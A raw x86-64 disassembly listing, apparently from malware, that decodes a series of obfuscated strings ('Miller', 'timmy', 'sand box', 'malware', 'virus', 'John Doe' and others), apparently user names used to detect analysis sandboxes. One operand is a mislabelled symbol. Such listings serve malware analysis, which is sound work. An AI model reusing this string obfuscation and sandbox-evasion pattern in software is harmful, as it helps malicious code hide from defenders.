call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x2d0]
mov dword [rbp + 0x4f8], 0x55
lea rsi, [rbp + 0x4fc]
mov byte [rbp + 0x4fc], 0x18
mov byte [rbp + 0x4fd], 0x3c
mov byte [rbp + 0x4fe], 0x39
mov byte [rbp + 0x4ff], 0x39
mov byte [rbp + 0x500], 0x30
mov byte [rbp + 0x501], 0x27
mov byte [rbp + 0x502], 0
movzx eax, byte [rbp + 0x4fc]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x4fc], cl
movzx eax, byte [rbp + 0x4fd]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x4fd], cl
movzx eax, byte [rbp + 0x4fe]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x4fe], cl
movzx eax, byte [rbp + 0x4ff]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x4ff], cl
movzx eax, byte [rbp + 0x500]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x500], cl
movzx eax, byte [rbp + 0x501]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x501], cl
mov byte [rbp + 0x502], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2e0], xmm0
movaps xmmword [rbp + 0x2d0], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x1400334d8
mov rbx, rax
cmp rax, 0xf
ja 0x140031416
mov qword [rbp + 0x2e0], rbx
mov qword [rbp + 0x2e8], 0xf
jmp 0x14003148b
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x14003145c
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140031476
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x2d0], rdi
mov qword [rbp + 0x2e0], rbx
mov qword [rbp + 0x2e8], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
mov byte [rbp + 0x4ea], 0x79
mov byte [rbp + 0x4eb], 0x75
mov byte [rbp + 0x4ec], pe_nt_image_headers64
mov byte [rbp + 0x4ed], 0x7b
mov byte [rbp + 0x4ee], 0x86
mov byte [rbp + 0x4ef], 0x6d
mov byte [rbp + 0x4f0], 0
add byte [rbp + 0x4ea], 0xf4
add byte [rbp + 0x4eb], 0xf4
add byte [rbp + 0x4ec], 0xf4
add byte [rbp + 0x4ed], 0xf4
add byte [rbp + 0x4ee], 0xf4
add byte [rbp + 0x4ef], 0xf4
lea rdi, [rbp + 0x2f0]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x300], xmm0
movaps xmmword [rbp + 0x2f0], xmm0
lea rcx, [rbp + 0x4ea]
call fcn.1400778d0
test rax, rax
js 0x1400334eb
mov rsi, rax
cmp rax, 0xf
ja 0x140031544
mov qword [rbp + 0x300], rsi
mov qword [rbp + 0x308], 0xf
jmp 0x1400315b8
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x140031589
lea rcx, [rbx + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400315a3
lea rcx, [rbx + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x2f0], rdi
mov qword [rbp + 0x300], rsi
mov qword [rbp + 0x308], rbx
lea rdx, [rbp + 0x4ea]
mov rcx, rdi
mov r8, rsi
call fcn.140091230
add rsi, rdi
mov byte [rsi], 0
lea rdi, [rbp + 0x310]
mov dword [rbp + 0x57c], 0x34
lea rsi, [rbp + 0x580]
mov eax, dword [rbp + 0x57c]
xor al, 0x50
mov byte [rbp + 0x580], al
mov eax, dword [rbp + 0x57c]
inc al
xor al, 0x65
mov byte [rbp + 0x581], al
mov eax, dword [rbp + 0x57c]
add al, 2
xor al, 0x74
mov byte [rbp + 0x582], al
mov eax, dword [rbp + 0x57c]
add al, 3
xor al, 0x65
mov byte [rbp + 0x583], al
mov eax, dword [rbp + 0x57c]
add al, 4
xor al, 0x72
mov byte [rbp + 0x584], al
mov eax, dword [rbp + 0x57c]
add al, 5
xor al, 0x20
mov byte [rbp + 0x585], al
mov eax, dword [rbp + 0x57c]
add al, 6
xor al, 0x57
mov byte [rbp + 0x586], al
mov eax, dword [rbp + 0x57c]
add al, 7
xor al, 0x69
mov byte [rbp + 0x587], al
mov eax, dword [rbp + 0x57c]
add al, 8
xor al, 0x6c
mov byte [rbp + 0x588], al
mov eax, dword [rbp + 0x57c]
add al, 9
xor al, 0x73
mov byte [rbp + 0x589], al
mov eax, dword [rbp + 0x57c]
add al, 0xa
xor al, 0x6f
mov byte [rbp + 0x58a], al
mov eax, dword [rbp + 0x57c]
add al, 0xb
xor al, 0x6e
mov byte [rbp + 0x58b], al
mov byte [rbp + 0x58c], 0
movzx eax, byte [rbp + 0x580]
mov ecx, dword [rbp + 0x57c]
xor cl, al
mov byte [rbp + 0x580], cl
movzx eax, byte [rbp + 0x581]
mov ecx, dword [rbp + 0x57c]
inc cl
xor cl, al
mov byte [rbp + 0x581], cl
movzx eax, byte [rbp + 0x582]
mov ecx, dword [rbp + 0x57c]
add cl, 2
xor cl, al
mov byte [rbp + 0x582], cl
movzx eax, byte [rbp + 0x583]
mov ecx, dword [rbp + 0x57c]
add cl, 3
xor cl, al
mov byte [rbp + 0x583], cl
movzx eax, byte [rbp + 0x584]
mov ecx, dword [rbp + 0x57c]
add cl, 4
xor cl, al
mov byte [rbp + 0x584], cl
movzx eax, byte [rbp + 0x585]
mov ecx, dword [rbp + 0x57c]
add cl, 5
xor cl, al
mov byte [rbp + 0x585], cl
movzx eax, byte [rbp + 0x586]
mov ecx, dword [rbp + 0x57c]
add cl, 6
xor cl, al
mov byte [rbp + 0x586], cl
movzx eax, byte [rbp + 0x587]
mov ecx, dword [rbp + 0x57c]
add cl, 7
xor cl, al
mov byte [rbp + 0x587], cl
movzx eax, byte [rbp + 0x588]
mov ecx, dword [rbp + 0x57c]
add cl, 8
xor cl, al
mov byte [rbp + 0x588], cl
movzx eax, byte [rbp + 0x589]
mov ecx, dword [rbp + 0x57c]
add cl, 9
xor cl, al
mov byte [rbp + 0x589], cl
movzx eax, byte [rbp + 0x58a]
mov ecx, dword [rbp + 0x57c]
add cl, 0xa
xor cl, al
mov byte [rbp + 0x58a], cl
movzx eax, byte [rbp + 0x58b]
mov ecx, dword [rbp + 0x57c]
add cl, 0xb
xor cl, al
mov byte [rbp + 0x58b], cl
mov byte [rbp + 0x58c], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x320], xmm0
movaps xmmword [rbp + 0x310], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x1400334fe
mov rbx, rax
cmp rax, 0xf
ja 0x14003180f
mov qword [rbp + 0x320], rbx
mov qword [rbp + 0x328], 0xf
jmp 0x140031884
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140031855
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14003186f
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x310], rdi
mov qword [rbp + 0x320], rbx
mov qword [rbp + 0x328], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x330]
mov dword [rbp + 0x494], 0x3a
lea rsi, [rbp + 0x498]
mov byte [rbp + 0x498], 0x4e
mov byte [rbp + 0x499], 0x53
mov byte [rbp + 0x49a], 0x57
mov byte [rbp + 0x49b], 0x57
mov byte [rbp + 0x49c], 0x43
mov byte [rbp + 0x49d], 0
movzx eax, byte [rbp + 0x498]
mov ecx, dword [rbp + 0x494]
xor cl, al
mov byte [rbp + 0x498], cl
movzx eax, byte [rbp + 0x499]
mov ecx, dword [rbp + 0x494]
xor cl, al
mov byte [rbp + 0x499], cl
movzx eax, byte [rbp + 0x49a]
mov ecx, dword [rbp + 0x494]
xor cl, al
mov byte [rbp + 0x49a], cl
movzx eax, byte [rbp + 0x49b]
mov ecx, dword [rbp + 0x494]
xor cl, al
mov byte [rbp + 0x49b], cl
movzx eax, byte [rbp + 0x49c]
mov ecx, dword [rbp + 0x494]
xor cl, al
mov byte [rbp + 0x49c], cl
mov byte [rbp + 0x49d], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x340], xmm0
movaps xmmword [rbp + 0x330], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x140033511
mov rbx, rax
cmp rax, 0xf
ja 0x140031989
mov qword [rbp + 0x340], rbx
mov qword [rbp + 0x348], 0xf
jmp 0x1400319fe
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x1400319cf
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400319e9
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x330], rdi
mov qword [rbp + 0x340], rbx
mov qword [rbp + 0x348], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x350]
mov dword [rbp + 0x4c8], 0x5d
lea rsi, [rbp + 0x4cc]
mov byte [rbp + 0x4cc], 0x2e
mov byte [rbp + 0x4cd], 0x3c
mov byte [rbp + 0x4ce], 0x33
mov byte [rbp + 0x4cf], 0x39
mov byte [rbp + 0x4d0], 0x7d
mov byte [rbp + 0x4d1], 0x3f
mov byte [rbp + 0x4d2], 0x32
mov byte [rbp + 0x4d3], 0x25
mov byte [rbp + 0x4d4], 0
movzx eax, byte [rbp + 0x4cc]
mov ecx, dword [rbp + 0x4c8]
xor cl, al
mov byte [rbp + 0x4cc], cl
movzx eax, byte [rbp + 0x4cd]
mov ecx, dword [rbp + 0x4c8]
xor cl, al
mov byte [rbp + 0x4cd], cl
movzx eax, byte [rbp + 0x4ce]
mov ecx, dword [rbp + 0x4c8]
xor cl, al
mov byte [rbp + 0x4ce], cl
movzx eax, byte [rbp + 0x4cf]
mov ecx, dword [rbp + 0x4c8]
xor cl, al
mov byte [rbp + 0x4cf], cl
movzx eax, byte [rbp + 0x4d0]
mov ecx, dword [rbp + 0x4c8]
xor cl, al
mov byte [rbp + 0x4d0], cl
movzx eax, byte [rbp + 0x4d1]
mov ecx, dword [rbp + 0x4c8]
xor cl, al
mov byte [rbp + 0x4d1], cl
movzx eax, byte [rbp + 0x4d2]
mov ecx, dword [rbp + 0x4c8]
xor cl, al
mov byte [rbp + 0x4d2], cl
movzx eax, byte [rbp + 0x4d3]
mov ecx, dword [rbp + 0x4c8]
xor cl, al
mov byte [rbp + 0x4d3], cl
mov byte [rbp + 0x4d4], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x360], xmm0
movaps xmmword [rbp + 0x350], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x140033524
mov rbx, rax
cmp rax, 0xf
ja 0x140031b57
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x368], 0xf
jmp 0x140031bcc
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140031b9d
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140031bb7
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x350], rdi
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x368], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x370]
mov dword [rbp + 0x528], 0xc
lea rsi, [rbp + 0x52c]
mov byte [rbp + 0x52c], 0x61
mov byte [rbp + 0x52d], 0x6d
mov byte [rbp + 0x52e], 0x60
mov byte [rbp + 0x52f], 0x7b
mov byte [rbp + 0x530], 0x6d
mov byte [rbp + 0x531], 0x7e
mov byte [rbp + 0x532], 0x69
mov byte [rbp + 0x533], 0
movzx eax, byte [rbp + 0x52c]
mov ecx, dword [rbp + 0x528]
xor cl, al
mov byte [rbp + 0x52c], cl
movzx eax, byte [rbp + 0x52d]
mov ecx, dword [rbp + 0x528]
xor cl, al
mov byte [rbp + 0x52d], cl
movzx eax, byte [rbp + 0x52e]
mov ecx, dword [rbp + 0x528]
xor cl, al
mov byte [rbp + 0x52e], cl
movzx eax, byte [rbp + 0x52f]
mov ecx, dword [rbp + 0x528]
xor cl, al
mov byte [rbp + 0x52f], cl
movzx eax, byte [rbp + 0x530]
mov ecx, dword [rbp + 0x528]
xor cl, al
mov byte [rbp + 0x530], cl
movzx eax, byte [rbp + 0x531]
mov ecx, dword [rbp + 0x528]
xor cl, al
mov byte [rbp + 0x531], cl
movzx eax, byte [rbp + 0x532]
mov ecx, dword [rbp + 0x528]
xor cl, al
mov byte [rbp + 0x532], cl
mov byte [rbp + 0x533], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x380], xmm0
movaps xmmword [rbp + 0x370], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x140033537
mov rbx, rax
cmp rax, 0xf
ja 0x140031d09
mov qword [rbp + 0x380], rbx
mov qword [rbp + 0x388], 0xf
jmp 0x140031d7e
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140031d4f
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140031d69
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x370], rdi
mov qword [rbp + 0x380], rbx
mov qword [rbp + 0x388], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x390]
mov dword [rbp + 0x534], 0x23
lea rsi, [rbp + 0x538]
mov byte [rbp + 0x538], 0x4e
mov byte [rbp + 0x539], 0x42
mov byte [rbp + 0x53a], 0x4f
mov byte [rbp + 0x53b], 0x57
mov byte [rbp + 0x53c], 0x46
mov byte [rbp + 0x53d], 0x50
mov byte [rbp + 0x53e], 0x57
mov byte [rbp + 0x53f], 0
movzx eax, byte [rbp + 0x538]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x538], cl
movzx eax, byte [rbp + 0x539]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x539], cl
movzx eax, byte [rbp + 0x53a]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x53a], cl
movzx eax, byte [rbp + 0x53b]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x53b], cl
movzx eax, byte [rbp + 0x53c]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x53c], cl
movzx eax, byte [rbp + 0x53d]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x53d], cl
movzx eax, byte [rbp + 0x53e]
mov ecx, dword [rbp + 0x534]
xor cl, al
mov byte [rbp + 0x53e], cl
mov byte [rbp + 0x53f], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x3a0], xmm0
movaps xmmword [rbp + 0x390], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x14003354a
mov rbx, rax
cmp rax, 0xf
ja 0x140031ebb
mov qword [rbp + 0x3a0], rbx
mov qword [rbp + 0x3a8], 0xf
jmp 0x140031f30
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140031f01
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140031f1b
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x390], rdi
mov qword [rbp + 0x3a0], rbx
mov qword [rbp + 0x3a8], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x3b0]
mov dword [rbp + 0x56c], 0x2c
lea rsi, [rbp + 0x570]
mov eax, dword [rbp + 0x56c]
xor al, 0x74
mov byte [rbp + 0x570], al
mov eax, dword [rbp + 0x56c]
inc al
xor al, 0x65
mov byte [rbp + 0x571], al
mov eax, dword [rbp + 0x56c]
add al, 2
xor al, 0x73
mov byte [rbp + 0x572], al
mov eax, dword [rbp + 0x56c]
add al, 3
xor al, 0x74
mov byte [rbp + 0x573], al
mov eax, dword [rbp + 0x56c]
add al, 4
xor al, 0x20
mov byte [rbp + 0x574], al
mov eax, dword [rbp + 0x56c]
add al, 5
xor al, 0x75
mov byte [rbp + 0x575], al
mov eax, dword [rbp + 0x56c]
add al, 6
xor al, 0x73
mov byte [rbp + 0x576], al
mov eax, dword [rbp + 0x56c]
add al, 7
xor al, 0x65
mov byte [rbp + 0x577], al
mov eax, dword [rbp + 0x56c]
add al, 8
xor al, 0x72
mov byte [rbp + 0x578], al
mov byte [rbp + 0x579], 0
movzx eax, byte [rbp + 0x570]
mov ecx, dword [rbp + 0x56c]
xor cl, al
mov byte [rbp + 0x570], cl
movzx eax, byte [rbp + 0x571]
mov ecx, dword [rbp + 0x56c]
inc cl
xor cl, al
mov byte [rbp + 0x571], cl
movzx eax, byte [rbp + 0x572]
mov ecx, dword [rbp + 0x56c]
add cl, 2
xor cl, al
mov byte [rbp + 0x572], cl
movzx eax, byte [rbp + 0x573]
mov ecx, dword [rbp + 0x56c]
add cl, 3
xor cl, al
mov byte [rbp + 0x573], cl
movzx eax, byte [rbp + 0x574]
mov ecx, dword [rbp + 0x56c]
add cl, 4
xor cl, al
mov byte [rbp + 0x574], cl
movzx eax, byte [rbp + 0x575]
mov ecx, dword [rbp + 0x56c]
add cl, 5
xor cl, al
mov byte [rbp + 0x575], cl
movzx eax, byte [rbp + 0x576]
mov ecx, dword [rbp + 0x56c]
add cl, 6
xor cl, al
mov byte [rbp + 0x576], cl
movzx eax, byte [rbp + 0x577]
mov ecx, dword [rbp + 0x56c]
add cl, 7
xor cl, al
mov byte [rbp + 0x577], cl
movzx eax, byte [rbp + 0x578]
mov ecx, dword [rbp + 0x56c]
add cl, 8
xor cl, al
mov byte [rbp + 0x578], cl
mov byte [rbp + 0x579], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmmword [rbp + 0x3b0], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x14003355d
mov rbx, rax
cmp rax, 0xf
ja 0x14003210b
mov qword [rbp + 0x3c0], rbx
mov qword [rbp + 0x3c8], 0xf
jmp 0x140032180
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140032151
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14003216b
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x3b0], rdi
mov qword [rbp + 0x3c0], rbx
mov qword [rbp + 0x3c8], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x3d0]
mov dword [rbp + 0x4a0], 0x6b
lea rsi, [rbp + 0x4a4]
mov byte [rbp + 0x4a4], 0x1d
mov byte [rbp + 0x4a5], 2
mov byte [rbp + 0x4a6], 0x19
mov byte [rbp + 0x4a7], 0x1e
mov byte [rbp + 0x4a8], 0x18
mov byte [rbp + 0x4a9], 0
movzx eax, byte [rbp + 0x4a4]
mov ecx, dword [rbp + 0x4a0]
xor cl, al
mov byte [rbp + 0x4a4], cl
movzx eax, byte [rbp + 0x4a5]
mov ecx, dword [rbp + 0x4a0]
xor cl, al
mov byte [rbp + 0x4a5], cl
movzx eax, byte [rbp + 0x4a6]
mov ecx, dword [rbp + 0x4a0]
xor cl, al
mov byte [rbp + 0x4a6], cl
movzx eax, byte [rbp + 0x4a7]
mov ecx, dword [rbp + 0x4a0]
xor cl, al
mov byte [rbp + 0x4a7], cl
movzx eax, byte [rbp + 0x4a8]
mov ecx, dword [rbp + 0x4a0]
xor cl, al
mov byte [rbp + 0x4a8], cl
mov byte [rbp + 0x4a9], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x3e0], xmm0
movaps xmmword [rbp + 0x3d0], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x140033570
mov rbx, rax
cmp rax, 0xf
ja 0x140032285
mov qword [rbp + 0x3e0], rbx
mov qword [rbp + 0x3e8], 0xf
jmp 0x1400322fa
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x1400322cb
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400322e5
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x3d0], rdi
mov qword [rbp + 0x3e0], rbx
mov qword [rbp + 0x3e8], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x3f0]
mov dword [rbp + 0x550], 0x5d
lea rsi, [rbp + 0x554]
mov eax, dword [rbp + 0x550]
xor al, 0x4a
mov byte [rbp + 0x554], al
mov eax, dword [rbp + 0x550]
inc al
xor al, 0x6f
mov byte [rbp + 0x555], al
mov eax, dword [rbp + 0x550]
add al, 2
xor al, 0x68
mov byte [rbp + 0x556], al
mov eax, dword [rbp + 0x550]
add al, 3
xor al, 0x6e
mov byte [rbp + 0x557], al
mov eax, dword [rbp + 0x550]
add al, 4
xor al, 0x20
mov byte [rbp + 0x558], al
mov eax, dword [rbp + 0x550]
add al, 5
xor al, 0x44
mov byte [rbp + 0x559], al
mov eax, dword [rbp + 0x550]
add al, 6
xor al, 0x6f
mov byte [rbp + 0x55a], al
mov eax, dword [rbp + 0x550]
add al, 7
xor al, 0x65
mov byte [rbp + 0x55b], al
mov byte [rbp + 0x55c], 0
movzx eax, byte [rbp + 0x554]
mov ecx, dword [rbp + 0x550]
xor cl, al
mov byte [rbp + 0x554], cl
movzx eax, byte [rbp + 0x555]
mov ecx, dword [rbp + 0x550]
inc cl
xor cl, al
mov byte [rbp + 0x555], cl
movzx eax, byte [rbp + 0x556]
mov ecx, dword [rbp + 0x550]
add cl, 2
xor cl, al
mov byte [rbp + 0x556], cl
movzx eax, byte [rbp + 0x557]
mov ecx, dword [rbp + 0x550]
add cl, 3
xor cl, al
mov byte [rbp + 0x557], cl
movzx eax, byte [rbp + 0x558]
mov ecx, dword [rbp + 0x550]
add cl, 4
xor cl, al
mov byte [rbp + 0x558], cl
movzx eax, byte [rbp + 0x559]
mov ecx, dword [rbp + 0x550]
add cl, 5
xor cl, al
mov byte [rbp + 0x559], cl
movzx eax, byte [rbp + 0x55a]
mov ecx, dword [rbp + 0x550]
add cl, 6
xor cl, al
mov byte [rbp + 0x55a], cl
movzx eax, byte [rbp + 0x55b]
mov ecx, dword [rbp + 0x550]
add cl, 7
xor cl, al
mov byte [rbp + 0x55b], cl
mov byte [rbp + 0x55c], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x400], xmm0
movaps xmmword [rbp + 0x3f0], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x140033583
mov rbx, rax
cmp rax, 0xf
ja 0x1400324ad
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], 0xf
jmp 0x140032522
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x1400324f3
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14003250d
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x3f0], rdi
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x410]
mov dword [rbp + 0x510], 0x30
lea rsi, [rbp + 0x514]
mov eax, dword [rbp + 0x510]
xor al, 0x39
mov byte [rbp + 0x514], al
mov eax, dword [rbp + 0x510]
inc al
xor al, 0x5a
mov byte [rbp + 0x515], al
mov eax, dword [rbp + 0x510]
add al, 2
xor al, 0x61
mov byte [rbp + 0x516], al
mov eax, dword [rbp + 0x510]
add al, 3
xor al, 0x58
mov byte [rbp + 0x517], al
mov eax, dword [rbp + 0x510]
add al, 4
xor al, 0x6a
mov byte [rbp + 0x518], al
mov byte [rbp + 0x519], 0
movzx eax, byte [rbp + 0x514]
mov ecx, dword [rbp + 0x510]
xor cl, al
mov byte [rbp + 0x514], cl
movzx eax, byte [rbp + 0x515]
mov ecx, dword [rbp + 0x510]
inc cl
xor cl, al
mov byte [rbp + 0x515], cl
movzx eax, byte [rbp + 0x516]
mov ecx, dword [rbp + 0x510]
add cl, 2
xor cl, al
mov byte [rbp + 0x516], cl
movzx eax, byte [rbp + 0x517]
mov ecx, dword [rbp + 0x510]
add cl, 3
xor cl, al
mov byte [rbp + 0x517], cl
movzx eax, byte [rbp + 0x518]
mov ecx, dword [rbp + 0x510]
add cl, 4
xor cl, al
mov byte [rbp + 0x518], cl
mov byte [rbp + 0x519], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x420], xmm0
movaps xmmword [rbp + 0x410], xmm0
mov rcx, rsi
call fcn.1400778d0
test rax, rax
js 0x140033596
mov rbx, rax
cmp rax, 0xf
ja 0x14003265d
mov qword [rbp + 0x420], rbx
mov qword [rbp + 0x428], 0xf
jmp 0x1400326d2
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x1400326a3
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400326bd
lea rcx, [r14 + 1]
mov byte [rbp + 0x5b7], 0
mov qword [rbp + 0x5a8], rdi
call fcn.14005c498
mov rdi, rax
mov qword [rbp + 0x410], rdi
mov qword [rbp + 0x420], rbx
mov qword [rbp + 0x428], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140091230
add rbx, rdi
mov byte [rbx], 0
mov byte [rbp + 0x4f1], 0x58
mov byte [rbp + 0x4f2], 0x42
mov byte [rbp + 0x4f3], 0x4d
mov byte [rbp + 0x4f4], 0x4c
mov byte [rbp + 0x4f5], 0x46
mov byte [rbp + 0x4f6], 0x53
mov byte [rbp + 0x4f7], 0
dec byte [rbp + 0x4f1]
dec byte [rbp + 0x4f2]
dec byte [rbp + 0x4f3]
dec byte [rbp + 0x4f4]
dec byte [rbp + 0x4f5]
dec byte [rbp + 0x4f6]
